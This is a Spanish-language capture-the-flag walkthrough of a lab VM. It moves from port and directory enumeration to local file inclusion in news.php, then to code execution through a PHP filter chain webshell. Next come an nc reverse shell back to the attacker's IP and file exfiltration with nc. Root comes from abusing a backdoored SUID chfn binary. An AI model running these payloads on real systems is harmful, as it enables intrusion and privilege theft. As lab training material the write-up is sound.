Enumeración
Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.157Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.157
[sudo] contraseña para wh01s17:
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-16 19:12 -0300
Nmap scan report for 10.42.113.157
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:EE:4E:32 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.157
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-16 19:12 -0300
Nmap scan report for 10.42.113.157
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 04:2a:cb:c4:54:0e:de:54:a1:f2:61:d7:6a:29:f6:5f (ECDSA)
|_ 256 a8:02:05:f3:a6:61:7d:e8:8b:e5:6f:1c:5b:7b:5b:33 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Home - Hacked By sML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.29 secondsEnumeramos directorios:
❯ gobuster dir -u 'http://10.42.113.157' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak -r
...
news.php (Status: 200) [Size: 3418]
index.php (Status: 200) [Size: 996]
index.html (Status: 200) [Size: 996]
dp.jpg (Status: 200) [Size: 238753]
2021 (Status: 200) [Size: 31875]
2022 (Status: 200) [Size: 34213]
2023 (Status: 200) [Size: 36067]
server-status (Status: 403) [Size: 278]
...LFI en news.php
Ingresamos a http://10.42.113.157/news.php, que nos solicita un email:
pwned@pwned.comNos dirige a http://10.42.113.157/news.php?email=pwned%40pwned.com. Intentamos LFI sobre ese parámetro sin éxito. La página después solicita el año y redirige a http://10.42.113.157/news.php?year=2023. Probamos un payload de LFI sobre year y esta vez sí funciona:
❯ curl 'http://10.42.113.157/news.php?year=/etc/passwd' -H 'Cookie: PHPSESSID=rjjct64jurcki74jarqomb0oo6'
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sml:x:1000:1000:,,,:/home/sml:/bin/bash
...De LFI a RCE (PHP Filter Chain)
Convertimos el LFI en RCE con una cadena de filtros PHP, usando el script de synacktiv/php_filter_chain_generator para construir un payload que inyecte código a través de php://temp:
❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/.../resource=php://tempComprobamos la ejecución de comandos pasando cmd=id y filtrando el textarea de la respuesta:
❯ curl 'http://10.42.113.157/news.php?year=php://filter/.../resource=php://temp&cmd=id' -H 'Cookie: PHPSESSID=ei8j67j8qolq53248i2nq43u8f' --output salida.txt | cat salida.txt | grep textarea
...
<textarea rows="10" cols="50" class="textbox">uid=33(www-data) gid=33(www-data) groups=33(www-data)
...Lanzamos una reverse shell:
❯ curl 'http://10.42.113.157/news.php?year=php://filter/.../resource=php://temp&cmd=nc%2010.42.113.36%201234%20-e%20/bin/bash' -H 'Cookie: PHPSESSID=ei8j67j8qolq53248i2nq43u8f'
❯ ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.157:41408.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@blackhat2:/var/www/html$Escalada de privilegios (binario SUID modificado)
Para escalar, comprobamos la integridad de los paquetes instalados con dpkg --verify:
www-data@blackhat2:/var/www/html$ dpkg --verify
missing c /etc/apache2/sites-available/000-default.conf
missing c /etc/apache2/sites-available/default-ssl.conf
??5?????? c /etc/grub.d/10_linux
??5?????? /usr/bin/chfnInterpretación de las columnas:
? → El campo no fue verificado (por permisos o falta de acceso).
5 → El checksum MD5 no coincide, es decir, el contenido fue modificado.
c → Archivo de configuración.El binario chfn aparece modificado (checksum MD5 alterado). Lo transferimos a nuestra máquina para analizarlo:
❯ nc -l 4321 > chfn
www-data@blackhat2:/var/www/html$ nc 10.42.113.36 4321 < /usr/bin/chfnLo abrimos con Ghidra y vemos que, al ejecutarse, lanza /tmp/system como root:
void main(uint param_1,undefined8 *param_2)
{
setgid(0);
setuid(0);
system("nohup /tmp/system </dev/null >/dev/null 2>&1 &");
...Aprovechamos esto: creamos nuestro propio /tmp/system que asigna SUID a bash y ejecutamos chfn:
www-data@blackhat2:/tmp$ echo 'chmod u+s /bin/bash' > system && chmod +x /tmp/system
www-data@blackhat2:/tmp$ chfn
Changing the user information for root
Enter the new value, or press ENTER for the default
Full Name [root]: pwned
pwned
Room Number []: pwned
pwned
Work Phone []: pwned
pwned
Home Phone []: pwned
pwned
Other []: pwned
pwnedVerificamos que bash quedó con el bit SUID y obtenemos shell de root:
www-data@blackhat2:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
www-data@blackhat2:/tmp$ bash -p
bash-5.2# whoami
rootObtenemos las flags.
Fin.